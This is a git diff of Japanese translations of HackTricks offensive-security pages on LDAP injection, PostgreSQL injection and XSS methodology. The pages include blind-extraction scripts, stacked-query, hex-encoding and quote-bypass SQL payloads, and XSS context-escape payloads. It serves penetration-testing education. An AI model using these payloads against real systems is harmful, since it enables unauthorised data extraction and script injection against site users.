#### データのダンプ
|
||||
|
||||
ASCII文字、数字、および記号を繰り返し処理できます:
|
||||
|
||||
ASCII文字、数字、およびシンボルを繰り返し処理できます:
|
||||
```bash
|
||||
(&(sn=administrator)(password=*)) : OK
|
||||
(&(sn=administrator)(password=A*)) : KO
|
||||
|
@ -167,13 +162,11 @@ ASCII文字、数字、および記号を繰り返し処理できます:
|
|||
(&(sn=administrator)(password=MB*)) : KO
|
||||
...
|
||||
```
|
||||
|
||||
### スクリプト
|
||||
|
||||
#### **有効なLDAPフィールドを特定する**
|
||||
|
||||
LDAPオブジェクトには**デフォルトでいくつかの属性が含まれています**。これらを使用して**情報を保存**することができます。その情報を抽出するために、**すべての属性をブルートフォースしてみる**ことができます。[**ここ**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt) でデフォルトのLDAP属性のリストを見つけることができます。
|
||||
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
import requests
|
||||
|
@ -205,9 +198,7 @@ if char == alphabet[-1]: #If last of all the chars, then, no more chars in the v
|
|||
finish = True
|
||||
print()
|
||||
```
|
||||
|
||||
#### **特別なBlind LDAP Injection("\*"なし)**
|
||||
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
|
||||
|
@ -224,33 +215,30 @@ flag += char
|
|||
print("[+] Flag: " + flag)
|
||||
break
|
||||
```
|
||||
|
||||
### Google ドークス
|
||||
|
||||
```bash
|
||||
intitle:"phpLDAPadmin" inurl:cmd.php
|
||||
```
|
||||
|
||||
### 追加のペイロード
|
||||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
||||
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/jp/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合 - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、解読不能なものをハックしたいのであれば - **私たちは採用中です!**(_流暢なポーランド語の読み書きが必要です_)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>を使って、ゼロからヒーローまでAWSハッキングを学ぼう!</summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksであなたの企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* **HackTricksであなたの企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れる
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出することで、あなたのハッキングテクニックを共有してください。
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,36 +1,36 @@
|
|||
# PostgreSQL injection
|
||||
# PostgreSQLインジェクション
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見る
|
||||
* \*\*💬 [Discordグループ](https://discord.gg/hRep4RUj7f)\*\*に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**してください。
|
||||
- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**もし** **ハッキングキャリア** **に興味があり、** **解読不能なものをハックしたい** **-** **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。
|
||||
**ハッキングキャリア**に興味がある方や**解読不能なものをハック**したい方 - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
***
|
||||
|
||||
**このページは、postgresqlデータベースで見つかったSQLインジェクションを悪用するための異なるトリックを説明し、** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) **で見つけることができるトリックを補完することを目的としています。**
|
||||
**このページは、postgresqlデータベースで見つかったSQLインジェクションを悪用するためのさまざまなトリックを説明し、** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) **で見つけることができるトリックを補完することを目的としています。**
|
||||
|
||||
## ネットワークインタラクション - 特権昇格、ポートスキャナー、NTLMチャレンジレスポンスの開示とエクスフィルトレーション
|
||||
|
||||
**PostgreSQLモジュール `dblink`** は、他のPostgreSQLインスタンスに接続してTCP接続を実行する機能を提供します。これらの機能は、`COPY FROM`機能と組み合わせることで、特権昇格、ポートスキャン、NTLMチャレンジレスポンスの取得などのアクションを可能にします。これらの攻撃を実行する詳細な方法については、[これらの攻撃を実行する方法](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md)を確認してください。
|
||||
**PostgreSQLモジュール `dblink`**は、他のPostgreSQLインスタンスに接続してTCP接続を実行する機能を提供します。これらの機能は、`COPY FROM`機能と組み合わせることで、特権昇格、ポートスキャン、NTLMチャレンジレスポンスの取得などのアクションを可能にします。これらの攻撃を実行する方法の詳細については、[これらの攻撃を実行する方法](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md)を確認してください。
|
||||
|
||||
### **dblinkと大規模オブジェクトを使用したエクスフィルトレーションの例**
|
||||
|
||||
CTFの例を見るために、[**この例**](dblink-lo\_import-data-exfiltration.md) **を読んで、大規模オブジェクト内にデータをロードし、その後`dblink_connect`関数のユーザー名内の大規模オブジェクトの内容をエクスフィルトレートする方法**を見てください。
|
||||
CTFの例を見るために、[**この例**](dblink-lo\_import-data-exfiltration.md)を参照してください。**大規模オブジェクト内にデータをロードし、その後`dblink_connect`関数のユーザー名内の大規模オブジェクトの内容をエクスフィルトレートする方法**を示しています。
|
||||
|
||||
## PostgreSQL攻撃:読み書き、RCE、特権昇格
|
||||
|
||||
|
@ -44,40 +44,33 @@ PostgreSQLからホストを侵害し、特権を昇格させる方法につい
|
|||
|
||||
### PostgreSQL文字列関数
|
||||
|
||||
文字列を操作することで、**WAFをバイパスしたり、他の制限を回避する**のに役立つ場合があります。\
|
||||
[**このページ**](https://www.postgresqltutorial.com/postgresql-string-functions/) **でいくつかの便利な文字列関数を見つけることができます。**
|
||||
文字列を操作することで、**WAFやその他の制限をバイパス**するのに役立つ可能性があります。\
|
||||
[**このページ**](https://www.postgresqltutorial.com/postgresql-string-functions/) **では、いくつかの有用な文字列関数を見つけることができます。**
|
||||
|
||||
### スタックされたクエリ
|
||||
|
||||
PostgreSQLはスタックされたクエリをサポートしていますが、1つのレスポンスが期待されているときに2つのレスポンスが返されると、いくつかのアプリケーションはエラーをスローする可能性があります。しかし、タイムインジェクションを介してスタックされたクエリを悪用することはできます:
|
||||
|
||||
```
|
||||
id=1; select pg_sleep(10);-- -
|
||||
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
|
||||
```
|
||||
|
||||
### XMLトリック
|
||||
|
||||
**query\_to\_xml**
|
||||
|
||||
この関数は、1つのファイルでXML形式のすべてのデータを返します。1行に大量のデータをダンプしたい場合に最適です。
|
||||
|
||||
この関数は、1つのファイルにすべてのデータをXML形式で返します。たくさんのデータを1行にダンプしたい場合に最適です。
|
||||
```sql
|
||||
SELECT query_to_xml('select * from pg_user',true,true,'');
|
||||
```
|
||||
|
||||
**database\_to\_xml**
|
||||
|
||||
この関数は、データベース全体をXML形式で1行にダンプします(データベースが非常に大きい場合は、DoS攻撃を引き起こす可能性があるため注意してください)。
|
||||
|
||||
```sql
|
||||
SELECT database_to_xml(true,true,'');
|
||||
```
|
||||
|
||||
### 16進数の文字列
|
||||
|
||||
もし**クエリ**を**文字列内で実行**できる場合(たとえば\*\*`query_to_xml`**関数を使用する場合)。**`convert_from`を使用して文字列を16進数として渡すことで、フィルタをバイパスすることができます。\*\*
|
||||
|
||||
もし**クエリ**を**文字列内で渡す**ことができる場合(たとえば**`query_to_xml`**関数を使用する場合)。**`convert_from`**を使用して文字列を16進数として渡し、この方法でフィルタをバイパスすることができます。
|
||||
```sql
|
||||
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
|
||||
|
||||
|
@ -87,39 +80,36 @@ select encode('select cast(string_agg(table_name, '','') as int) from informatio
|
|||
# Bypass via boolean + error based + query_to_xml with hex
|
||||
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### 禁止された引用符
|
||||
|
||||
引用符を使用できない場合は、基本的な句を`CHR`でバイパスすることができます(_文字連結はSELECT、INSERT、DELETEなどの基本的なクエリにのみ適用され、すべてのSQLステートメントには適用されません_):
|
||||
|
||||
引用符を使用できない場合は、基本的な句を`CHR`でバイパスすることができます(_文字連結はSELECT、INSERT、DELETEなどの基本的なクエリにのみ適用されます。すべてのSQLステートメントには適用されません_):
|
||||
```
|
||||
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
|
||||
```
|
||||
|
||||
または`$`を使用しても同じ結果が返されます:
|
||||
|
||||
または、`$`を使用しても同じ結果が返されます:
|
||||
```
|
||||
SELECT 'hacktricks';
|
||||
SELECT $$hacktricks$$;
|
||||
SELECT $TAG$hacktricks$TAG$;
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/jp/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**ハッキングキャリア**に興味がある方や、**解読不能なものをハック**したい方向けに、**採用中**です!(_流暢なポーランド語の読み書きが必要です_)。
|
||||
興味がある場合は、**ハッキングキャリア**に興味があり、ハッキングできないものをハッキングする - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>で、**ゼロからヒーローまでのAWSハッキングを学ぼう**!</summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)で**ゼロからヒーローまでのAWSハッキング**を学ぶ!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**場合や、**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**したり、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,39 +1,39 @@
|
|||
# XSS(クロスサイトスクリプティング)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**ハッキングキャリア**に興味がある方や、**解除不可能なものをハック**したい方 - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。
|
||||
**ハッキングキャリア**に興味がある方や、**解除不可能なものをハック**したい方へ - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## 方法論
|
||||
|
||||
1. **制御可能な値**(_パラメータ_、_パス_、_ヘッダー_?、_クッキー_?)がHTMLに**反映**されているか、**JS**コードで**使用**されているかを確認します。
|
||||
1. **制御可能な値**(_パラメータ_、_パス_、_ヘッダー_?、_クッキー_?)がHTMLに**反映**されているか、または**JS**コードで**使用**されているかを確認します。
|
||||
2. 反映/使用されている**コンテキスト**を見つけます。
|
||||
3. **反映されている**場合
|
||||
1. 使用できる**シンボル**を確認し、それに応じてペイロードを準備します:
|
||||
1. **生のHTML**で:
|
||||
1. **生のHTML**内:
|
||||
1. 新しいHTMLタグを作成できますか?
|
||||
2. `javascript:`プロトコルをサポートするイベントや属性を使用できますか?
|
||||
3. 保護をバイパスできますか?
|
||||
4. HTMLコンテンツがクライアントサイドJSエンジン(_AngularJS_、_VueJS_、_Mavo_...)によって解釈されている場合、[**クライアントサイドテンプレートインジェクション**](../client-side-template-injection-csti.md)を悪用できます。
|
||||
5. JSコードを実行するHTMLタグを作成できない場合、[**ダングリングマークアップ - HTMLスクリプトレスインジェクション**](../dangling-markup-html-scriptless-injection/)を悪用できますか?
|
||||
2. **HTMLタグ内**:
|
||||
4. HTMLコンテンツがクライアントサイドJSエンジン(_AngularJS_、_VueJS_、_Mavo_など)によって解釈されている場合、[**クライアントサイドテンプレートインジェクション**](../client-side-template-injection-csti.md)を悪用できます。
|
||||
5. HTMLタグを作成してJSコードを実行できない場合、[**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/)を悪用できますか?
|
||||
2. **HTMLタグ**内:
|
||||
1. 生のHTMLコンテキストに移動できますか?
|
||||
2. JSコードを実行する新しいイベント/属性を作成できますか?
|
||||
3. あなたが閉じ込められた属性がJS実行をサポートしていますか?
|
||||
2. 新しいイベント/属性を作成してJSコードを実行できますか?
|
||||
3. トラップされている属性がJS実行をサポートしていますか?
|
||||
4. 保護をバイパスできますか?
|
||||
3. **JavaScriptコード内**:
|
||||
3. **JavaScriptコード**内:
|
||||
1. `<script>`タグをエスケープできますか?
|
||||
2. 文字列をエスケープして異なるJSコードを実行できますか?
|
||||
3. 入力がテンプレートリテラル\`\`にありますか?
|
||||
3. 入力がテンプレートリテラル\`\`内にありますか?
|
||||
4. 保護をバイパスできますか?
|
||||
4. 実行されているJavaScript **関数**
|
||||
1. 実行する関数の名前を指定できます。例:`?callback=alert(1)`
|
||||
4. **使用されている**場合
|
||||
1. **DOM XSS**を悪用できます。入力がどのように制御されているか、およびあなたの**制御された入力がどのシンクで使用されているか**に注意してください。
|
||||
4. **使用されている**場合:
|
||||
1. **DOM XSS**を悪用できます。入力がどのように制御されているか、および制御された入力がどのシンクで使用されているかに注意してください。
|
||||
|
||||
複雑なXSSを解析する際には、次のことを知っておくと興味深いかもしれません:
|
||||
複雑なXSSを解析する際には、以下について知っておくと役立つかもしれません:
|
||||
|
||||
{% content-ref url="debugging-client-side-js.md" %}
|
||||
[debugging-client-side-js.md](debugging-client-side-js.md)
|
||||
|
@ -43,29 +43,29 @@
|
|||
|
||||
XSSを成功裏に悪用するためには、最初に見つける必要があるのは、Webページで**反映されている制御可能な値**です。
|
||||
|
||||
* **中間的に反映された**:パラメータの値やパスの値がWebページに反映されていることがわかった場合、**反射型XSS**を悪用できます。
|
||||
* **保存および反映**:サーバーに保存された制御可能な値が、ページにアクセスするたびに反映されていることがわかった場合、**保存型XSS**を悪用できます。
|
||||
* **JSを介してアクセス**:制御可能な値がJSを使用してアクセスされていることがわかった場合、**DOM XSS**を悪用できます。
|
||||
* **中間的に反映された**:パラメータの値やパスの値がWebページに反映されている場合、**反映型XSS**を悪用できます。
|
||||
* **保存および反映**:サーバーに保存されている制御可能な値が、ページにアクセスするたびに反映されている場合、**保存型XSS**を悪用できます。
|
||||
* **JSを介してアクセス**:制御可能な値がJSを使用してアクセスされている場合、**DOM XSS**を悪用できます。
|
||||
|
||||
## コンテキスト
|
||||
|
||||
XSSを悪用しようとする際に最初に知る必要があるのは、**入力がどこに反映されているか**です。コンテキストによって、さまざまな方法で任意のJSコードを実行できます。
|
||||
XSSを悪用しようとする際に最初に知るべきことは、**入力がどこに反映されているか**です。コンテキストによって、異なる方法で任意のJSコードを実行できます。
|
||||
|
||||
### 生のHTML
|
||||
|
||||
入力が**生のHTML**ページに反映されている場合、いくつかの**HTMLタグ**を悪用してJSコードを実行する必要があります:`<img`、`<iframe`、`<svg`、`<script`など...これらは使用可能な多くのHTMLタグの一部です。\
|
||||
入力が**生のHTML**ページに反映されている場合、いくつかの**HTMLタグ**を悪用してJSコードを実行する必要があります:`<img`、`<iframe`、`<svg`、`<script` ... これらは使用可能な多くのHTMLタグの一部です。\
|
||||
また、[クライアントサイドテンプレートインジェクション](../client-side-template-injection-csti.md)に注意してください。
|
||||
|
||||
### HTMLタグ属性内
|
||||
### HTMLタグの属性内
|
||||
|
||||
入力がタグの属性の値内に反映されている場合、次のように試すことができます:
|
||||
|
||||
1. **属性およびタグから脱出**して(その後、生のHTMLになります)新しいHTMLタグを悪用する:`"><img [...]`
|
||||
2. **属性から脱出できる場合**でも**タグから脱出できない場合**(`>`がエンコードされているか削除されている)、タグによってはJSコードを実行する**イベントを作成**できます:`" autofocus onfocus=alert(1) x="`
|
||||
3. **属性から脱出できない場合**(`"`がエンコードまたは削除されている)、**どの属性**に値が反映されているかによって、**値全体を制御するか一部だけを制御するか**に応じて悪用できます。たとえば、`onclick=`のようなイベントを制御できる場合、クリックされたときに任意のコードを実行することができます。もう1つの興味深い**例**は、`href`属性で、`javascript:`プロトコルを使用して任意のコードを実行できます:**`href="javascript:alert(1)"`**
|
||||
4. 入力が「**悪用できないタグ**」内に反映されている場合、**`accesskey`**トリックを使用して脆弱性を悪用できます(これを悪用するには、ある種のソーシャルエンジニアが必要です):**`" accesskey="x" onclick="alert(1)" x="`**
|
||||
1. **属性およびタグから脱出**して(その後、生のHTMLになります)新しいHTMLタグを作成して悪用します:`"><img [...]`
|
||||
2. **属性から脱出できるが、タグから脱出できない**場合(`>`がエンコードされているか削除されている)、タグに依存してJSコードを実行する**イベントを作成**できます:`" autofocus onfocus=alert(1) x="`
|
||||
3. **属性から脱出できない**場合(`"`がエンコードまたは削除されている)、**どの属性**に値が反映されているかによって異なりますが、値全体を制御しているか一部だけを制御しているかに応じて悪用できます。たとえば、`onclick=`のようなイベントを制御している場合、クリックされたときに任意のコードを実行できます。別の興味深い**例**は、`href`属性で、`javascript:`プロトコルを使用して任意のコードを実行できます:**`href="javascript:alert(1)"`**
|
||||
4. 入力が**「悪用できないタグ」**内に反映されている場合、**`accesskey`**トリックを使用して脆弱性を悪用できます(これを悪用するには、ある種のソーシャルエンジニアが必要です):**`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Angularがクラス名を制御する場合のXSSの奇妙な例:
|
||||
Angularがクラス名を制御する場合の奇妙なXSSの例:
|
||||
```html
|
||||
<div ng-app>
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
|
@ -73,15 +73,15 @@ Angularがクラス名を制御する場合のXSSの奇妙な例:
|
|||
```
|
||||
### JavaScriptコード内部
|
||||
|
||||
この場合、あなたの入力は、HTMLページの**`<script> [...] </script>`**タグ、`.js`ファイル内、または**`javascript:`**プロトコルを使用した属性内に反映されます。
|
||||
この場合、入力内容は、HTMLページの**`<script> [...] </script>`**タグ、`.js`ファイル内、または**`javascript:`**プロトコルを使用した属性内に反映されます。
|
||||
|
||||
- **`<script> [...] </script>`**タグの間に反映される場合、入力がどんな種類の引用符の中にあっても、`</script>`をインジェクトしてこのコンテキストから脱出しようとすることができます。これは、**ブラウザが最初にHTMLタグを解析**し、その後コンテンツを解析するため、インジェクトされた`</script>`タグがHTMLコードの中にあることに気づかないためです。
|
||||
- もし**JS文字列の中に反映**され、前のトリックがうまくいかない場合は、文字列から**抜け出し**、コードを**実行**し、JSコードを**再構築**する必要があります(エラーがあれば実行されません):
|
||||
- **`<script> [...] </script>`**タグの間に反映される場合、入力内容がどんな種類の引用符の中にあっても、`</script>`をインジェクトしてこのコンテキストから脱出を試みることができます。これは、**ブラウザが最初にHTMLタグを解析**し、その後コンテンツを解析するため、インジェクトされた`</script>`タグがHTMLコードの中にあることに気づかないためです。
|
||||
- **JS文字列内に反映**され、前述のトリックが機能しない場合は、文字列から**脱出**し、コードを**実行**し、JSコードを**再構築**する必要があります(エラーがある場合、実行されません):
|
||||
- `'-alert(1)-'`
|
||||
- `';-alert(1)//`
|
||||
- `\';alert(1)//`
|
||||
- `\'-alert(1)//`
|
||||
- テンプレートリテラル内に反映されている場合、`${ ... }`構文を使用してJS式を**埋め込む**ことができます: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- **Unicodeエンコード**を使用して**有効なJavaScriptコード**を書くことができます:
|
||||
- **Unicodeエンコード**を使用して**有効なJavaScriptコード**を記述することができます:
|
||||
```javascript
|
||||
\u{61}lert(1)
|
||||
\u0061lert(1)
|
||||
|
@ -98,19 +98,19 @@ Javascriptの巻き上げは、**未宣言の変数や関数を使用してい
|
|||
|
||||
### Javascript関数
|
||||
|
||||
いくつかのWebページは、**実行する関数の名前をパラメータとして受け入れる**ことができます。野生でよく見られる一般的な例は、`?callback=callbackFunc`のようなものです。
|
||||
いくつかのWebページは、**実行する関数の名前をパラメータとして受け入れる**ようになっています。一般的な例としては、`?callback=callbackFunc`のようなものがあります。
|
||||
|
||||
ユーザーから直接提供されたものが実行されようとしているかどうかを調べる良い方法は、パラメータの値を**変更する**こと(たとえば、'Vulnerable'に変更する)であり、コンソールで次のようなエラーを探すことです:
|
||||
ユーザーから直接提供されたものが実行されようとしているかどうかを調べる良い方法は、パラメータの値を変更して(たとえば 'Vulnerable'に)エラーをコンソールで確認することです:
|
||||
|
||||
![](<../../.gitbook/assets/image (651) (2).png>)
|
||||
![](<../../.gitbook/assets/image (708).png>)
|
||||
|
||||
脆弱性がある場合、値を送信するだけで**アラートをトリガー**できる可能性があります: **`?callback=alert(1)`**。ただし、このエンドポイントは通常、文字、数字、ドット、アンダースコア(**`[\w\._]`**)のみを許可するように**コンテンツを検証**します。
|
||||
|
||||
ただし、その制限があっても、いくつかのアクションを実行することは可能です。これは、有効な文字を使用してDOM内の**任意の要素にアクセス**できるためです:
|
||||
ただし、その制限があっても、いくつかのアクションを実行することは可能です。これは、有効な文字を使用して**DOM内の任意の要素にアクセス**できるためです:
|
||||
|
||||
![](<../../.gitbook/assets/image (662).png>)
|
||||
![](<../../.gitbook/assets/image (744).png>)
|
||||
|
||||
これに役立つ関数のいくつか:
|
||||
これに役立ついくつかの関数:
|
||||
```
|
||||
firstElementChild
|
||||
lastElementChild
|
||||
|
@ -118,9 +118,9 @@ nextElementSibiling
|
|||
lastElementSibiling
|
||||
parentElement
|
||||
```
|
||||
あなたは直接**Javascript関数をトリガー**することもできます:`obj.sales.delOrders`。
|
||||
あなたは**Javascript関数をトリガー**しようとすることもできます:`obj.sales.delOrders`。
|
||||
|
||||
ただし、通常、指定された関数を実行するエンドポイントは、あまり興味深いDOMを持たないエンドポイントであり、**同じオリジン内の他のページ**には、より興味深いDOMがあり、さらなるアクションを実行できます。
|
||||
ただし、通常、指定された関数を実行するエンドポイントは、**興味深いDOMがあまりないエンドポイント**であり、**同じオリジン内の他のページ**には**より興味深いDOM**があり、さらなるアクションを実行できます。
|
||||
|
||||
したがって、**異なるDOMでこの脆弱性を悪用**するために、**Same Origin Method Execution (SOME)**の悪用が開発されました:
|
||||
|
||||
|
@ -130,7 +130,7 @@ parentElement
|
|||
|
||||
### DOM
|
||||
|
||||
**攻撃者によって制御されるデータ**(例:`location.href`)を**安全でない方法**で使用している**JSコード**があります。攻撃者はこれを悪用して任意のJSコードを実行できます。
|
||||
**攻撃者によって制御されるデータ**を**安全でない方法**で使用している**JSコード**があります。攻撃者は、これを悪用して任意のJSコードを実行できます。
|
||||
|
||||
{% content-ref url="dom-xss.md" %}
|
||||
[dom-xss.md](dom-xss.md)
|
||||
|
@ -138,7 +138,7 @@ parentElement
|
|||
|
||||
### **Universal XSS**
|
||||
|
||||
この種のXSSは**どこにでも**見つかる可能性があります。これらは単にWebアプリケーションのクライアントの悪用に依存するのではなく、**どんな** **コンテキスト**でも悪用できます。この種の**任意のJavaScript実行**は、**RCE**の取得、クライアントやサーバーでの**任意のファイルの読み取り**などに悪用される可能性があります。\
|
||||
